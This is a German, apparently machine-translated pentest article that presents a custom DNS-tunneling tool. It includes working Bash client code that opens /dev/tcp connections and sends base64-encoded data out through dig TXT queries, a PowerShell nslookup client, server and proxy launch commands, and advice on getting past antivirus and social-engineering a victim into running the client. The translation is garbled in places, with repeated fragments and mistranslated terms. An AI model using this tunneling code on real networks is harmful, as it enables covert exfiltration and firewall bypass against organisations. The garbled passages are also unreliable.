
Hallo! In Penetrationstestprojekten stoßen wir häufig auf hart segmentierte Netzwerke, die fast vollständig von der Außenwelt isoliert sind. Um dieses Problem zu lösen, ist es manchmal erforderlich, den Datenverkehr über das einzige verfügbare Protokoll - DNS - weiterzuleiten. In diesem Artikel erfahren Sie, wie Sie ein ähnliches Problem im Jahr 2018 lösen und welche Fallstricke dabei auftreten. Beliebte Dienstprogramme werden ebenfalls überprüft und eine Version ihres eigenen Open-Source-Dienstprogramms mit Funktionen vorgestellt, die in vorhandenen ähnlichen Tools normalerweise nicht vorhanden sind.
Was sind DNS-Tunnel?
Es gibt bereits mehrere Artikel über Habré, die erklären, was DNS-Tunneling ist. Ein wenig Theorie zum DNS-Tunneling finden Sie jedoch unter dem Spoiler.
Was ist DNS-Tunneling?Es kommt vor, dass der Zugriff auf das Netzwerk durch die Firewall stark eingeschränkt wird und Sie die Daten sehr schlecht übertragen müssen. Dann hilft die DNS-Tunneling-Technik.
Im Diagramm sieht alles so aus:

Abfragen für DNS werden selbst mit den strengsten Firewall-Einstellungen manchmal noch bestanden, und Sie können diese verwenden, indem Sie sie von Ihrem Server auf der anderen Seite beantworten. Die Kommunikation wird extrem langsam sein, dies reicht jedoch aus, um in das lokale Netzwerk des Unternehmens einzudringen oder beispielsweise dringend über kostenpflichtiges WLAN im Ausland auf das Internet zuzugreifen.
Was ist im Moment beliebt
Jetzt finden Sie im Internet viele Dienstprogramme zum Bedienen dieser Technik - jedes mit seinen eigenen Funktionen und Fehlern. Wir haben die fünf beliebtesten für Vergleichstests ausgewählt:
- dnscat2
- Jod
- dns2tcp
- Heyoka
- OzymanDNS
Weitere Informationen dazu, wie wir sie getestet haben, finden Sie in unserem Artikel über Hacker . Hier geben wir nur die Ergebnisse an.

Wie Sie den Ergebnissen entnehmen können, können Sie arbeiten, aber unter dem Gesichtspunkt der Penetrationstests gibt es Nachteile:
- kompilierte Clients - Auf Computern mit Virenschutzprogrammen ist es viel einfacher, etwas Interpretiertes auszuführen als eine Binärdatei.
- instabile Arbeit unter Windows;
- die Notwendigkeit, in einigen Fällen zusätzliche Software zu installieren.
Aufgrund dieser Mängel mussten wir unser eigenes Tool entwickeln, und so stellte sich heraus ...
Erstellen Sie Ihr eigenes DNS-Tunneling-Dienstprogramm
Hintergrund
Alles begann während des internen Pentests einer Bank. In der Lobby befand sich ein öffentlicher Computer, auf dem Dokumente, Zertifikate und andere Papiere gedruckt wurden. Unser Ziel: Um den größtmöglichen Nutzen aus einem Computer zu ziehen, auf dem Windows 7 ausgeführt wird, Kaspersky Anti-Virus an Bord hatte und nur auf bestimmte Seiten zugreifen konnte (gleichzeitig konnten DNS-Namen aufgelöst werden).
Nachdem wir die erste Analyse durchgeführt und zusätzliche Daten vom Auto erhalten hatten, entwickelten wir mehrere Angriffsvektoren. Die Pfade mit dem Betrieb der Maschine unter Verwendung von Binärprogrammen wurden sofort zur Seite entfernt, da der "große und schreckliche" "Kaspersky" seine Löschung sofort erkannte, als er eine ausführbare Datei entdeckte. Es gelang uns jedoch, die Möglichkeit zu erhalten, Skripte im Auftrag des lokalen Administrators auszuführen. Danach war eine der Ideen nur die Möglichkeit, einen DNS-Tunnel zu erstellen.
Auf der Suche nach möglichen Methoden haben wir in PowerShell einen Client für dnscat2 gefunden (wir haben bereits darüber geschrieben). Am Ende konnten wir jedoch nur für kurze Zeit eine Verbindung herstellen, wonach der Client abstürzte.
Dies hat uns, gelinde gesagt, sehr verärgert, da in dieser Situation die Anwesenheit eines interpretierten Klienten einfach notwendig war. Dies war einer der Gründe für die Entwicklung eines eigenen Tools für das DNS-Tunneling.
Anforderungen
Unsere Hauptanforderungen an uns selbst sind:
- das Vorhandensein von universellen (soweit möglich) und interpretierten Clients für Unix- und Windows-Systeme. Für Kunden wurden Bash und Powershell ausgewählt. In Zukunft ist ein Perl-Client für Unix geplant.
- die Fähigkeit, Datenverkehr von einer bestimmten Anwendung weiterzuleiten;
- Unterstützung für mehrere Clients für einen Benutzer.
Projektarchitektur
Basierend auf den Anforderungen haben wir mit der Entwicklung begonnen. Aus unserer Sicht besteht das Dienstprogramm aus drei Teilen: einem Client auf dem internen Computer, einem DNS-Server und einem kleinen Proxy zwischen der Pentester-Anwendung und dem DNS-Server.

Zunächst haben wir beschlossen, den Tunnel über TXT-Datensätze weiterzuleiten.
Das Funktionsprinzip ist ganz einfach:
- Pentester startet einen DNS-Server.
- Ein Pentester (oder ein Benutzer über Social Engineering) startet einen Client auf einem internen Computer. Auf dem Client gibt es Parameter wie den Clientnamen und die Domäne, und es besteht auch die Möglichkeit, die IP-Adresse des DNS-Servers direkt anzugeben.
- Ein Pentester (von einem externen Netzwerk) startet einen Proxy, in dem er die IP-Adresse des DNS-Servers sowie den zu klopfenden Port, IP-Ziele (z. B. ssh im internen Netzwerk, in dem sich der Client befindet) und dementsprechend den Zielport angibt. Außerdem ist eine Client-ID erforderlich, die durch Hinzufügen des Schlüssels
--clients
abgerufen werden kann. - Pentester startet die für ihn interessante Anwendung und zeigt den Proxy-Port auf localhost.
Kommunikationsprotokoll
Stellen Sie sich ein ziemlich einfaches Protokoll für die Kommunikation zwischen einem Server und einem Client vor.
Registrierung
Wenn der Client gestartet wird, registriert er sich beim Server und fordert einen TXT-Datensatz über eine Subdomain des folgenden Formats an:
0<7 random chars><client name>.<your domain>
0 - Registrierungsschlüssel
<7 random chars>
- um das Zwischenspeichern von DNS-Einträgen zu vermeiden
<client name>
- Der Name, der dem Client beim Start gegeben wurde
<your domain>
- Beispiel: xakep.ru
Bei erfolgreicher Registrierung erhält der Client eine Erfolgsmeldung in der TXT-Antwort sowie die ihm zugewiesene ID, die er weiterhin verwendet.
Hauptzyklus
Nach der Registrierung beginnt der Client, den Server nach der Verfügbarkeit neuer Daten im Format abzufragen
1<7 random chars><id>.<your domain>
Wenn neue Daten vorhanden sind, werden sie in der TXT-Antwort im Format empfangen
<id><target ip>:<target port>:<data in base64>
, andernfalls kommt <id>ND
.
Datenladezyklus
Der Client in einer Schleife prüft, ob Daten von unserem <target>
. Wenn es eine Antwort gibt, lesen wir aus dem, was angekommen ist, einen Puffer der Größe N Kb, 250-<len_of_your_domain>-< >
ihn in Blöcke mit einer 250-<len_of_your_domain>-< >
von 250-<len_of_your_domain>-< >
und senden Daten blockweise im folgenden Format:
2<4randomchars><id><block_id>.<data>.<your_domain>
Wenn die Blockübertragung erfolgreich ist, erhalten wir einige Daten über den übertragenen Block. Wenn die Pufferübertragung abgeschlossen ist, erhalten wir ENDBLOCK
.
DNS-Server
Der Tunnel-DNS-Server wurde in Python3 mithilfe der dnslib-Bibliothek geschrieben. Dadurch können Sie ganz einfach Ihren eigenen DNS-Resolver erstellen, indem Sie vom Objekt dnslib.ProxyResolver erben und die Methode resolve () überschreiben.
Mit Great DNSLIB können Sie sehr schnell Ihr eigenes Proxy-DNS erstellen:
Ein bisschen Servercode class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler):
In resolve () definieren wir die Antworten auf DNS-Anfragen vom Client: Registrierung, Anfordern neuer Einträge, Postback-Daten und Löschen des Benutzers.
Wir speichern Informationen über Benutzer in der SQLite-Datenbank, die Daten-Zwischenablage befindet sich im RAM und hat die folgende Struktur, in der der Schlüssel die Client-Nummer ist:
{ { "target_ip": "192.168.1.2", # IP “” - "target_port": "", # “” "socket": None, # "buffer": None, # "upstream_buffer": b'' # }, ... }
Um die Daten vom Pentester in den Puffer zu stellen, haben wir einen kleinen „Empfänger“ geschrieben, der in einem separaten Stream gestartet wird. Es fängt Verbindungen vom Pentester ab und führt das Routing durch: an welchen Client Anforderungen gesendet werden sollen.
Vor dem Starten des Servers muss der Benutzer nur einen Parameter festlegen: DOMAIN_NAME - den Namen der Domäne, mit der der Server arbeiten wird.
Bash Client
Bash wurde zum Schreiben eines Clients für Unix-Systeme ausgewählt, wie es in modernen Unix-Systemen am häufigsten vorkommt. Bash bietet die Möglichkeit, eine Verbindung über / dev / tcp / herzustellen, auch mit nicht privilegierten Benutzerrechten.
Wir werden nicht jeden Code im Detail analysieren, sondern nur die interessantesten Punkte betrachten.
Das Prinzip des Kunden ist einfach. Für die Kommunikation mit DNS wird das Standarddienstprogramm dig
verwendet. Der Client registriert sich beim Server und beginnt danach im fortwährenden Zyklus, Anforderungen unter Verwendung des zuvor beschriebenen Protokolls zu erfüllen. Unter dem Spoiler mehr.
Lesen Sie mehr über den Bash-ClientEs wird geprüft, ob eine Verbindung hergestellt wurde, und in diesem Fall wird die Antwortfunktion ausgeführt (Empfangene Daten vom Ziel lesen, aufteilen und an den Server senden).
Danach wird geprüft, ob neue Daten vom Server vorhanden sind. Wenn sie gefunden werden, prüfen wir, ob die Verbindung getrennt werden soll. Die Lücke selbst tritt auf, wenn wir Informationen über das Ziel mit IP 0.0.0.0 und Port 00 erhalten. In diesem Fall löschen wir den Dateideskriptor (wenn er nicht geöffnet war, gibt es keine Probleme) und ändern die Ziel-IP auf die eingehende 0.0.0.0.
Weiter unten im Code sehen wir, ob eine neue Verbindung hergestellt werden muss. Sobald die folgenden Nachrichten uns Daten für das Ziel senden, ändern wir, falls die vorherige IP nicht mit der aktuellen übereinstimmt (dies wird nach dem Zurücksetzen der Fall sein), das Ziel in ein neues und stellen über den Befehl exec 3<>/dev/tcp/$ip/$port
eine Verbindung her exec 3<>/dev/tcp/$ip/$port
, wobei $ip
das Ziel ist, $port
der Zielport.
Wenn die Verbindung bereits hergestellt ist, wird das eingehende Datenelement dekodiert und fliegt über den Befehl echo -e -n ${data_array[2]} | base64 -d >&3
echo -e -n ${data_array[2]} | base64 -d >&3
, wobei ${data_array[2]}
ist, was wir vom Server erhalten haben.
while : do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi done
Senden Sie nun die Antwortfunktion. Zuerst lesen wir 2048 Bytes aus dem Deskriptor und codieren sie sofort durch $(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0
). Wenn die Antwort leer ist, verlassen wir die Funktion, andernfalls beginnen wir mit dem Teilen und Senden. Beachten Sie, dass nach der Bildung der Anforderung zum Senden per Dig die Lieferung auf Erfolg geprüft wird. Wenn dies erfolgreich ist, beenden Sie den Zyklus, andernfalls versuchen Sie es, bis es funktioniert.
reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi }
Powershell-Kunde:
Da wir vollständige Interpretierbarkeit benötigen und auf den meisten aktuellen Systemen arbeiten müssen, ist der Basisclient für Windows das Standard-Dienstprogramm nslookup für die Kommunikation über DNS und das System.Net.Sockets.TcpClient-Objekt zum Herstellen einer Verbindung im internen Netzwerk.
Alles ist auch sehr einfach. Jede Iteration der Schleife ist ein Aufruf des Befehls nslookup unter Verwendung des zuvor beschriebenen Protokolls.
Führen Sie zum Registrieren beispielsweise den folgenden Befehl aus, um sich zu registrieren:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Wenn Fehler auftreten, werden sie nicht angezeigt und die Fehlerdeskriptorwerte an $ null gesendet.
nslookup gibt uns eine ähnliche Antwort zurück:

Danach müssen wir alle Zeilen in Anführungszeichen setzen, für die wir sie mit einer regulären Saison durchgehen:
$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }
Jetzt können Sie die empfangenen Befehle verarbeiten.
Jedes Mal, wenn sich die IP-Adresse des „Opfers“ ändert, wird ein TCP-Client erstellt, eine Verbindung hergestellt und die Datenübertragung beginnt. Vom DNS-Server werden die Informationen base64-decodiert und Bytes an das Opfer gesendet. Wenn das „Opfer“ etwas beantwortet hat, codieren wir, teilen uns in Teile und führen nslookup-Anforderungen gemäß dem Protokoll aus. Das ist alles.
Wenn Sie Strg + C drücken, wird eine Anforderung zum Löschen des Clients ausgeführt.
Proxy:
Der Proxy für den Pentester ist ein kleiner Proxyserver in Python3.

In den Parametern müssen Sie die IP des DNS-Servers angeben, den Port, an dem eine Verbindung zum Server hergestellt werden soll. Die Option --clients gibt eine Liste der registrierten Clients zurück. --target - target ip
, --target_port - target port
, --client
- id des Clients, mit dem wir zusammenarbeiten Arbeit (gesehen nach Ausführung von --clients
), - --send_timeout
- Zeitüberschreitung für das Senden von Nachrichten aus der Anwendung.
Beim Start mit dem Parameter --clients
sendet der Proxy eine Anforderung im Format \x00GETCLIENTS\n
an den Server.
Wenn wir mit der Arbeit beginnen und eine Verbindung herstellen, senden wir eine Nachricht im Format \x02RESET:client_id\n
, um die vorherige Verbindung zurückzusetzen. Nachdem wir Informationen zu unserem Ziel \x01client_id:ip:port:\n
Wenn wir Nachrichten an den Client senden, senden wir außerdem Bytes im Format \x03data
und senden einfach \x03data
an die Anwendung.
Außerdem unterstützt der Proxy den SOCKS5-Modus.
Welche Schwierigkeiten können auftreten?
Wie bei jedem Mechanismus kann das Dienstprogramm fehlschlagen. Vergessen wir nicht, dass der DNS-Tunnel eine dünne Sache ist und viele Faktoren seinen Betrieb beeinflussen können, von der Netzwerkarchitektur bis zur Qualität der Verbindung zu Ihrem Produktionsserver.
Während des Tests bemerkten wir gelegentlich kleine Störungen. Bei hohen --send_timeout
, die über ssh ausgeführt werden, lohnt es sich beispielsweise, den Parameter --send_timeout
, da der Client sonst zu frieren beginnt. Manchmal wird die Verbindung auch nicht beim ersten Mal hergestellt, sie kann jedoch einfach durch Neustart des Proxys behandelt werden, da die Verbindung während der neuen Verbindung zurückgesetzt wird. Es gab auch Probleme mit der Domänenauflösung bei der Arbeit mit Proxy-Ketten. Dies kann jedoch auch behoben werden, wenn Sie einen zusätzlichen Parameter für Proxy-Ketten angeben. Es ist anzumerken, dass das Dienstprogramm derzeit nicht das Auftreten unnötiger Anforderungen vom Zwischenspeichern von DNS-Servern steuert, sodass die Verbindung manchmal fehlschlägt. Dies wird jedoch erneut mit der oben beschriebenen Methode behandelt.
Starten
Konfigurieren Sie NS-Einträge in der Domäne:

Wir warten, bis der Cache aktualisiert ist (normalerweise bis zu 5 Stunden).
Wir starten den Server:
python3 ./server.py --domain oversec.ru
Starten Sie den Client (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1
Wir starten den Client (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2
Sehen wir uns die Liste der verbundenen Clients an:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients
Starten Sie den Proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 --localport 9090 --client 1
Testen:
Nachdem der Server und mindestens ein Client gestartet wurden, können wir auf den Proxy zugreifen, als wäre es unser Remotecomputer.
Versuchen wir, die folgende Situation zu simulieren: Ein Pentester möchte eine Datei von einem Server aus dem lokalen Netzwerk einer durch eine Firewall geschützten Organisation herunterladen. Mithilfe von Social-Engineering-Methoden konnte er einen DNS-Client zwingen, im Netzwerk ausgeführt zu werden und das SSH-Serverkennwort herauszufinden.
Pentester startet auf seinem Computer einen Proxy, der den erforderlichen Client angibt, und kann dann ähnliche Anrufe tätigen, die an den Client und vom Client an das lokale Netzwerk gesendet werden.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek
Mal sehen, was passiert ist:

Oben links sehen Sie die DNS-Abfragen, die an den Server gesendet werden, oben rechts - Proxy-Verkehr, unten links - Verkehr vom Client und unten rechts - unsere Anwendung. Die Geschwindigkeit für den DNS-Tunnel erwies sich als recht anständig: 4,9 KBit / s bei Komprimierung.
Beim Start ohne Komprimierung zeigte das Dienstprogramm eine Geschwindigkeit von 1,8 kb / s:

Schauen wir uns den DNS-Serververkehr genau an. Dazu verwenden wir das Dienstprogramm tcpdump.
tcpdump -i eth0 udp port 53

Wir sehen, dass alles dem beschriebenen Protokoll entspricht: Der Client fragt den Server ständig ab, ob er neue Daten für diesen Client hat, indem er Anforderungen der Form 1c6Zx9Vi39.oversec.ru
. Wenn Daten vorhanden sind, antwortet der Server mit einer Reihe von TXT-Datensätzen, andernfalls% client_num% ND ( 39ND
). Der Client sendet Informationen an den Server , welche Arten von Abfragen mit 28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.
In den folgenden Videos können Sie deutlich sehen, wie das Dienstprogramm in Verbindung mit meterpreter und im SOCKS5-Modus funktioniert.
Das Ergebnis:
Lassen Sie uns ein wenig zusammenfassen. Welche Funktionen hat diese Entwicklung und warum empfehlen wir die Verwendung?
- Interpretierte Kunden auf Bash und Powershell: Keine EXE-Shnikov und ELF-s, deren Ausführung schwierig sein kann.
- Verbindungsstabilität: In den Tests verhielt sich unser Dienstprogramm viel stabiler, und wenn es Fehler gab, konnten Sie die Verbindung einfach wieder herstellen, während der Client nicht abstürzte, wie dies beispielsweise bei dnscat2 der Fall war.
- Ziemlich hohe Geschwindigkeit für den DNS-Tunnel: Natürlich erreicht die Geschwindigkeit kein Jod, aber es gibt eine viel niedrigere kompilierte Lösung.
- Es sind keine Administratorrechte erforderlich: Der Bash-Client funktioniert ohne Administratorrechte, und Powershell-Skripte sind manchmal durch Sicherheitsrichtlinien verboten, dies ist jedoch recht einfach.
- Es gibt einen socks5-Proxy-Modus, mit dem Sie
curl -v --socks5 127.0.0.1:9011 https://ident.me
oder nmap im gesamten internen Netzwerk ausführen können.
Der Dienstprogrammcode ist hier verfügbar.